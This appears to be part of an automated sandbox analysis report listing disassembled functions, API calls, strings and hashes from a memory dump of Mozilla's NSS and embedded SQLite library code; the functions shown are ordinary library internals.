free.MOZGLUE(00000000), ref: 6CB9753C
free.MOZGLUE(00000000), ref: 6CB97550
free.MOZGLUE(00000000), ref: 6CB97561
free.MOZGLUE(00000000), ref: 6CB97572
free.MOZGLUE(00000000), ref: 6CB97583
free.MOZGLUE(00000000), ref: 6CB97594
free.MOZGLUE(00000000), ref: 6CB975A2
SECMOD_LoadModule.NSS3(00000000,00000000,00000001), ref: 6CB975BD
free.MOZGLUE(00000000), ref: 6CB975C8
free.MOZGLUE(00000000), ref: 6CB975F1
PR_NewLock.NSS3 ref: 6CB97636
SECMOD_DestroyModule.NSS3(00000000), ref: 6CB97686
PR_NewLock.NSS3 ref: 6CB976A2

Part of subcall function 6CC498D0: calloc.MOZGLUE(00000001,00000084,6CB70936,00000001,?,6CB7102C), ref: 6CC498E5

PORT_ZAlloc_Util.NSS3(00000050), ref: 6CB976B6
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004), ref: 6CB97707
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6CB9771C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6CB97731
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,rdb:,00000004), ref: 6CB9774A
DeleteCriticalSection.KERNEL32(?), ref: 6CB97770
free.MOZGLUE(?), ref: 6CB97779
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB9779A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB977AC
PORT_Alloc_Util.NSS3(-0000000D), ref: 6CB977C4
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CB977DB
strrchr.VCRUNTIME140(?,0000002F), ref: 6CB97821
PORT_Alloc_Util.NSS3(?), ref: 6CB97837
memcpy.VCRUNTIME140(00000000,00000000,00000000), ref: 6CB9785B
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CB9786F
SECMOD_AddNewModuleEx.NSS3 ref: 6CB978AC
free.MOZGLUE(00000000), ref: 6CB978BE
SECMOD_AddNewModuleEx.NSS3 ref: 6CB978F3
free.MOZGLUE(00000000), ref: 6CB978FC
free.MOZGLUE(00000000), ref: 6CB9791C

Part of subcall function 6CB707A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CB0204A), ref: 6CB707AD
Part of subcall function 6CB707A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB0204A), ref: 6CB707CD
Part of subcall function 6CB707A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB0204A), ref: 6CB707D6
Part of subcall function 6CB707A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CB0204A), ref: 6CB707E4
Part of subcall function 6CB707A0: TlsSetValue.KERNEL32(00000000,?,6CB0204A), ref: 6CB70864
Part of subcall function 6CB707A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CB70880
Part of subcall function 6CB707A0: TlsSetValue.KERNEL32(00000000,?,?,6CB0204A), ref: 6CB708CB
Part of subcall function 6CB707A0: TlsGetValue.KERNEL32(?,?,6CB0204A), ref: 6CB708D7
Part of subcall function 6CB707A0: TlsGetValue.KERNEL32(?,?,6CB0204A), ref: 6CB708FB

Strings

extern:, xrefs: 6CB9772B
rdb:, xrefs: 6CB97744
kbi., xrefs: 6CB97886
name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s", xrefs: 6CB974C7
,defaultModDB,internalKeySlot, xrefs: 6CB9748D, 6CB974AA
sql:, xrefs: 6CB976FE
dll, xrefs: 6CB9788E
NSS Internal Module, xrefs: 6CB974A2, 6CB974C6
dbm:, xrefs: 6CB97716
Spac, xrefs: 6CB97389

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: free$strlen$Value$Alloc_ModuleUtil$CriticalSectionstrncmp$CondEnterUnlockcallocmemcpy$CallDestroyErrorLockNotifyOnce$DeleteInitLoadR_smprintfWaitstrrchr
String ID: ,defaultModDB,internalKeySlot$NSS Internal Module$Spac$dbm:$dll$extern:$kbi.$name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s"$rdb:$sql:
API String ID: 3465160547-3797173233
Opcode ID: 0111c7e75c0f62cc79cc8dc44cd0d2732390e7583f9dabbe3002e215d609c4b8
Instruction ID: f66a35231ce277561540f7412511f98fd52f6335cf509c82727949115a8905b6
Opcode Fuzzy Hash: 0111c7e75c0f62cc79cc8dc44cd0d2732390e7583f9dabbe3002e215d609c4b8
Instruction Fuzzy Hash: 5052D2B1E012959BEF119F64D8057AE7BF4FF1B308F144038ED09A6641EBB1E954CB92

Function 6CBBBFF0 Relevance: 75.9, APIs: 31, Strings: 12, Instructions: 624memorystringCOMMON

Download Yara Rule

APIs

PR_ExitMonitor.NSS3 ref: 6CBBC0C8

Part of subcall function 6CC49440: LeaveCriticalSection.KERNEL32 ref: 6CC495CD
Part of subcall function 6CC49440: TlsGetValue.KERNEL32 ref: 6CC49622
Part of subcall function 6CC49440: _PR_MD_NOTIFYALL_CV.NSS3 ref: 6CC4964E

PR_EnterMonitor.NSS3 ref: 6CBBC0AE

Part of subcall function 6CC49090: LeaveCriticalSection.KERNEL32 ref: 6CC491AA
Part of subcall function 6CC49090: TlsGetValue.KERNEL32 ref: 6CC49212
Part of subcall function 6CC49090: _PR_MD_WAIT_CV.NSS3 ref: 6CC4926B

Part of subcall function 6CB70600: GetLastError.KERNEL32(?,?,?,?,?,6CB705E2), ref: 6CB70642
Part of subcall function 6CB70600: TlsGetValue.KERNEL32(?,?,?,?,?,6CB705E2), ref: 6CB7065D
Part of subcall function 6CB70600: GetLastError.KERNEL32 ref: 6CB70678
Part of subcall function 6CB70600: PR_snprintf.NSS3(?,00000014,error %d,00000000), ref: 6CB7068A
Part of subcall function 6CB70600: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB70693
Part of subcall function 6CB70600: PR_SetErrorText.NSS3(00000000,?), ref: 6CB7069D
Part of subcall function 6CB70600: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,531CE5CE,?,?,?,?,?,6CB705E2), ref: 6CB706CA
Part of subcall function 6CB70600: PR_SetError.NSS3(FFFFE8A9,00000000,?,?,?,?,?,6CB705E2), ref: 6CB706E6

PR_EnterMonitor.NSS3 ref: 6CBBC0F2
PR_ExitMonitor.NSS3 ref: 6CBBC10E
PR_ExitMonitor.NSS3 ref: 6CBBC081

Part of subcall function 6CC49440: TlsGetValue.KERNEL32 ref: 6CC4945B
Part of subcall function 6CC49440: TlsGetValue.KERNEL32 ref: 6CC49479
Part of subcall function 6CC49440: EnterCriticalSection.KERNEL32 ref: 6CC49495
Part of subcall function 6CC49440: TlsGetValue.KERNEL32 ref: 6CC494E4
Part of subcall function 6CC49440: TlsGetValue.KERNEL32 ref: 6CC49532
Part of subcall function 6CC49440: LeaveCriticalSection.KERNEL32 ref: 6CC4955D

PR_EnterMonitor.NSS3 ref: 6CBBC068

Part of subcall function 6CC49090: TlsGetValue.KERNEL32 ref: 6CC490AB
Part of subcall function 6CC49090: TlsGetValue.KERNEL32 ref: 6CC490C9
Part of subcall function 6CC49090: EnterCriticalSection.KERNEL32 ref: 6CC490E5
Part of subcall function 6CC49090: TlsGetValue.KERNEL32 ref: 6CC49116
Part of subcall function 6CC49090: LeaveCriticalSection.KERNEL32 ref: 6CC4913F

Part of subcall function 6CB70600: GetProcAddress.KERNEL32(?,?), ref: 6CB70623

_NSSUTIL_UTF8ToWide.NSS3(?), ref: 6CBBC14F
PR_LoadLibraryWithFlags.NSS3 ref: 6CBBC183
free.MOZGLUE(00000000), ref: 6CBBC18E
PR_LoadLibrary.NSS3(?), ref: 6CBBC1A3
PR_EnterMonitor.NSS3 ref: 6CBBC1D4
PR_ExitMonitor.NSS3 ref: 6CBBC1F3
PR_CallOnce.NSS3(6CCE2318,6CBBCA70), ref: 6CBBC210
PR_EnterMonitor.NSS3 ref: 6CBBC22B
PR_ExitMonitor.NSS3 ref: 6CBBC247
PR_EnterMonitor.NSS3 ref: 6CBBC26A
PR_ExitMonitor.NSS3 ref: 6CBBC287
PR_UnloadLibrary.NSS3(?), ref: 6CBBC2D0
PR_GetEnvSecure.NSS3(NSS_DEBUG_PKCS11_MODULE), ref: 6CBBC392
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CBBC3AB
PR_NewLogModule.NSS3(nss_mod_log), ref: 6CBBC3D1
PR_GetEnvSecure.NSS3(NSS_FORCE_TOKEN_LOCK), ref: 6CBBC782
PR_GetEnvSecure.NSS3(NSS_DISABLE_UNLOAD), ref: 6CBBC7B5
PR_UnloadLibrary.NSS3(?), ref: 6CBBC7CC
PR_SetError.NSS3(FFFFE097,00000000), ref: 6CBBC82E
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CBBC8BF
PORT_Alloc_Util.NSS3(?), ref: 6CBBC8D5
free.MOZGLUE(00000000), ref: 6CBBC900
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CBBC9C7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CBBC9E5
free.MOZGLUE(00000000), ref: 6CBBCA5A

Strings

NSS_FORCE_TOKEN_LOCK, xrefs: 6CBBC77D
Vendor NSS FIPS Interface, xrefs: 6CBBC34A
NSC_GetInterface, xrefs: 6CBBC04F
NSC_ModuleDBFunc, xrefs: 6CBBC0FC
PKCS 11, xrefs: 6CBBC2F9, 6CBBC314
NSS_ReturnModuleSpecData, xrefs: 6CBBC275
FC_GetFunctionList, xrefs: 6CBBC098
NSS_DEBUG_PKCS11_MODULE, xrefs: 6CBBC38D
NSC_GetFunctionList, xrefs: 6CBBC093
nss_mod_log, xrefs: 6CBBC3CC
FC_GetInterface, xrefs: 6CBBC054
NSS_DISABLE_UNLOAD, xrefs: 6CBBC7B0

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Monitor$Value$Enter$CriticalExitSection$Error$LeaveLibrary$Alloc_SecureUtilfree$ArenaLastLoadUnloadstrcmp$AddressCallFlagsModuleOnceProcR_snprintfTextWideWithmemcpystrlen
String ID: FC_GetFunctionList$FC_GetInterface$NSC_GetFunctionList$NSC_GetInterface$NSC_ModuleDBFunc$NSS_DEBUG_PKCS11_MODULE$NSS_DISABLE_UNLOAD$NSS_FORCE_TOKEN_LOCK$NSS_ReturnModuleSpecData$PKCS 11$Vendor NSS FIPS Interface$nss_mod_log
API String ID: 4243957313-3613044529
Opcode ID: f1468e1af5bdeb060fb2cb7b8c0d1fbb9a1d5fbbe20d4c1053ed42d4d5e311b2
Instruction ID: 091a6f2ad15c91cc2bf1532e49aa38f4e958bfc0d040a0204bd68378698871ba
Opcode Fuzzy Hash: f1468e1af5bdeb060fb2cb7b8c0d1fbb9a1d5fbbe20d4c1053ed42d4d5e311b2
Instruction Fuzzy Hash: 014290B2A002869FDF44DF54C896B7A3BB5FB4A358F144029D805ABB21EF31D954CF92

Function 6CC93FC0 Relevance: 70.5, APIs: 37, Strings: 3, Instructions: 485stringprocessCOMMON

Download Yara Rule

APIs

malloc.MOZGLUE(00000008), ref: 6CC93FD5
strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CC93FFE
malloc.MOZGLUE(-00000003), ref: 6CC94016
strpbrk.API-MS-WIN-CRT-STRING-L1-1-0(?,6CCCFC62), ref: 6CC9404A
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6CC9407E
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6CC940A4
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6CC940D7
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CC94112
malloc.MOZGLUE(00000000), ref: 6CC9411E
__p__environ.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0 ref: 6CC9414D
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CC94160
free.MOZGLUE(?), ref: 6CC9416C
malloc.MOZGLUE(?), ref: 6CC941AB
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,NSPR_INHERIT_FDS=,00000011), ref: 6CC941EF
qsort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,00000004,6CC94520), ref: 6CC94244
GetEnvironmentStrings.KERNEL32 ref: 6CC9424D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC94263
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC94283
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC942B7
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC942E4
malloc.MOZGLUE(00000002), ref: 6CC942FA
FreeEnvironmentStringsA.KERNEL32(?), ref: 6CC94342
GetStdHandle.KERNEL32(000000F6), ref: 6CC943AB
GetStdHandle.KERNEL32(000000F5), ref: 6CC943B2
GetStdHandle.KERNEL32(000000F4), ref: 6CC943B9
FreeEnvironmentStringsA.KERNEL32(?), ref: 6CC94403
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CC94410

Part of subcall function 6CC2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC2C2BF

CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000001,00000000,00000000,00000000,00000044,?), ref: 6CC9445E
CloseHandle.KERNEL32(?), ref: 6CC9446B
free.MOZGLUE(?), ref: 6CC94482
free.MOZGLUE(00000000), ref: 6CC94492
free.MOZGLUE(00000000), ref: 6CC944A4
GetLastError.KERNEL32 ref: 6CC944B2
PR_SetError.NSS3(FFFFE896,00000000), ref: 6CC944BE
free.MOZGLUE(?), ref: 6CC944C7
free.MOZGLUE(00000000), ref: 6CC944D5
free.MOZGLUE(00000000), ref: 6CC944EA

Strings

NSPR_INHERIT_FDS=, xrefs: 6CC941E9
=, xrefs: 6CC944F8
D, xrefs: 6CC94396

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: free$Errormallocstrlen$Handle$EnvironmentStringsmemset$Free$CloseCreateLastProcessValue__p__environqsortstrncmpstrpbrk
String ID: =$D$NSPR_INHERIT_FDS=
API String ID: 3116300875-3553733109
Opcode ID: 94a6296c871256320109e5e16bb9b49c7e224e00db4b23e32cd61de59aec6c95
Instruction ID: a220a63dc52d930fc023dd38ed9b1257d20a73964b91859d4a660a6f1345795a
Opcode Fuzzy Hash: 94a6296c871256320109e5e16bb9b49c7e224e00db4b23e32cd61de59aec6c95
Instruction Fuzzy Hash: 1002D371E043519BEB10DF69C8807AEBBB4BF16308F244169DC6AA7B41F771E845CB92

Function 6CBA6D90 Relevance: 60.3, APIs: 33, Strings: 1, Instructions: 809COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,6CCAA8EC,0000006C), ref: 6CBA6DC6
memcpy.VCRUNTIME140(?,6CCAA958,0000006C), ref: 6CBA6DDB
memcpy.VCRUNTIME140(?,6CCAA9C4,00000078), ref: 6CBA6DF1
memcpy.VCRUNTIME140(?,6CCAAA3C,0000006C), ref: 6CBA6E06
memcpy.VCRUNTIME140(?,6CCAAAA8,00000060), ref: 6CBA6E1C
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CBA6E38

Part of subcall function 6CC2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC2C2BF

PK11_DoesMechanism.NSS3(?,?), ref: 6CBA6E76
TlsGetValue.KERNEL32 ref: 6CBA726F
EnterCriticalSection.KERNEL32(?), ref: 6CBA7283

Strings

!, xrefs: 6CBA7123

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: memcpy$Value$CriticalDoesEnterErrorK11_MechanismSection
String ID: !
API String ID: 3333340300-2657877971
Opcode ID: 11c509cdb239fad3cfdec4e5461c432c25bc75322faf16e1524ba187731a0b11
Instruction ID: 8aef10b892d93b587c5a28e7605a9e6e7e61b7e56a963b88f940da1a253649d0
Opcode Fuzzy Hash: 11c509cdb239fad3cfdec4e5461c432c25bc75322faf16e1524ba187731a0b11
Instruction Fuzzy Hash: F7729EB5D092589FDF60CF68CC8879ABBB5EF49304F1441A9D84CA7301EB71AA85CF91

Function 6CB13C40 Relevance: 41.2, APIs: 20, Strings: 3, Instructions: 932COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB13C66
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(000000FD,?), ref: 6CB13D04
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB13EAD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB13ED7
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB13F74
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB14052
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB1406F
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001), ref: 6CB1410D
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011A47,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CB1449C

Strings

database corruption, xrefs: 6CB14490, 6CB144F4, 6CB14599, 6CB14764, 6CB14804
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB14452, 6CB14486, 6CB144EA, 6CB14571, 6CB14580, 6CB1458F, 6CB1475A, 6CB147FA
%s at line %d of [%.10s], xrefs: 6CB14495, 6CB144F9, 6CB1459E, 6CB14769, 6CB14809

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: _byteswap_ulong$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2597148001-598938438
Opcode ID: 386c3b0ff40faf128e024f407501aa614666f7c069a2f208ee837a61f7eaa456
Instruction ID: 4a3e51b2e9d185093b2351dfd032a70fad3add19ce927d2365dc4f95b8644862
Opcode Fuzzy Hash: 386c3b0ff40faf128e024f407501aa614666f7c069a2f208ee837a61f7eaa456
Instruction Fuzzy Hash: 4C827C75A082958FCB04CF69C490B9EB7B2FF49318F2581A9D905ABB51E731EC42CF91

Function 6CBEAC30 Relevance: 39.5, APIs: 26, Instructions: 539memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CBEACC4
PORT_ArenaAlloc_Util.NSS3(?,000040F4), ref: 6CBEACD5
memset.VCRUNTIME140(00000000,00000000,000040F4), ref: 6CBEACF3
SEC_ASN1EncodeInteger_Util.NSS3(?,00000018,00000003), ref: 6CBEAD3B
SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6CBEADC8
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CBEADDF
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CBEADF0

Part of subcall function 6CC2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC2C2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CBEB06A
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CBEB08C
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CBEB1BA
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CBEB27C
memset.VCRUNTIME140(?,00000000,00002010), ref: 6CBEB2CA
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CBEB3C1
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CBEB40C

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Util$Error$Arena_Free$ArenaItem_memset$Alloc_CopyEncodeInteger_Mark_ValueZfree
String ID:
API String ID: 1285963562-0
Opcode ID: 1b45d1d39a59c55a099cef26c3b3fa119861485eb5c0080693ae6344f6bfb3f8
Instruction ID: e26856e9f2e7695aed9dfde23f9ef8cd5576be82204fb96c360411ef93e3f1ce
Opcode Fuzzy Hash: 1b45d1d39a59c55a099cef26c3b3fa119861485eb5c0080693ae6344f6bfb3f8
Instruction Fuzzy Hash: 7C22B071904381AFE700CF14CC40B9A77E5EF88B4CF24856CE8595B792E772E859CB96

Function 6CB31F90 Relevance: 35.9, APIs: 5, Strings: 18, Instructions: 1430COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CB325F3

Strings

cannot have both ON and USING clauses in the same join, xrefs: 6CB332B5
too many references to "%s": max 65535, xrefs: 6CB32FB6
'%s' is not a function, xrefs: 6CB32FD2
unsafe use of virtual table "%s", xrefs: 6CB330D1
cannot join using column %s - column not present in both tables, xrefs: 6CB332AB
no such table: %s, xrefs: 6CB326AC
H, xrefs: 6CB3322D
no tables specified, xrefs: 6CB326BE
no such index: "%s", xrefs: 6CB3319D
recursive reference in a subquery: %s, xrefs: 6CB322E5
table %s has %d values for %d columns, xrefs: 6CB3316C
too many columns in result set, xrefs: 6CB33012
%s.%s, xrefs: 6CB32D68
a NATURAL join may not have an ON or USING clause, xrefs: 6CB332C1
access to view "%s" prohibited, xrefs: 6CB32F4A
H, xrefs: 6CB3329F
multiple recursive references: %s, xrefs: 6CB322E0
%s.%s.%s, xrefs: 6CB3302D

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: memcpy
String ID: %s.%s$%s.%s.%s$'%s' is not a function$H$H$a NATURAL join may not have an ON or USING clause$access to view "%s" prohibited$cannot have both ON and USING clauses in the same join$cannot join using column %s - column not present in both tables$multiple recursive references: %s$no such index: "%s"$no such table: %s$no tables specified$recursive reference in a subquery: %s$table %s has %d values for %d columns$too many columns in result set$too many references to "%s": max 65535$unsafe use of virtual table "%s"
API String ID: 3510742995-3400015513
Opcode ID: cfba476a608eac053634ffbdef6b74ccec7325031d2cf21769347960a8436a70
Instruction ID: 5b9eeb05470ca169c01a0a7b0ac7303bcd97dc50bf43fa3972ef6e4a93b66b40
Opcode Fuzzy Hash: cfba476a608eac053634ffbdef6b74ccec7325031d2cf21769347960a8436a70
Instruction Fuzzy Hash: 86D2C274E042A5CFDB04CF99C884B9EB7B1FF49308F249169D819AB752D731E846CB92

Function 6CB6ECD0 Relevance: 33.8, APIs: 7, Strings: 12, Instructions: 539COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CB6ED38

Part of subcall function 6CB04F60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB04FC4

sqlite3_mprintf.NSS3(snippet), ref: 6CB6EF3C
sqlite3_mprintf.NSS3(offsets), ref: 6CB6EFE4

Part of subcall function 6CC2DFC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6CB05001,?,00000003,00000000), ref: 6CC2DFD7

sqlite3_mprintf.NSS3(matchinfo), ref: 6CB6F087
sqlite3_mprintf.NSS3(matchinfo), ref: 6CB6F129
sqlite3_mprintf.NSS3(optimize), ref: 6CB6F1D1
sqlite3_free.NSS3(?), ref: 6CB6F368

Strings

optimize, xrefs: 6CB6F199, 6CB6F1CC, 6CB6F211
fts3, xrefs: 6CB6F247
porter, xrefs: 6CB6ED97
offsets, xrefs: 6CB6EFAF, 6CB6EFDF, 6CB6F01F
matchinfo, xrefs: 6CB6F04F, 6CB6F082, 6CB6F0C2, 6CB6F0F2, 6CB6F124, 6CB6F169
fts3tokenize, xrefs: 6CB6F30F
simple, xrefs: 6CB6ED79
snippet, xrefs: 6CB6EF05, 6CB6EF37, 6CB6EF7C
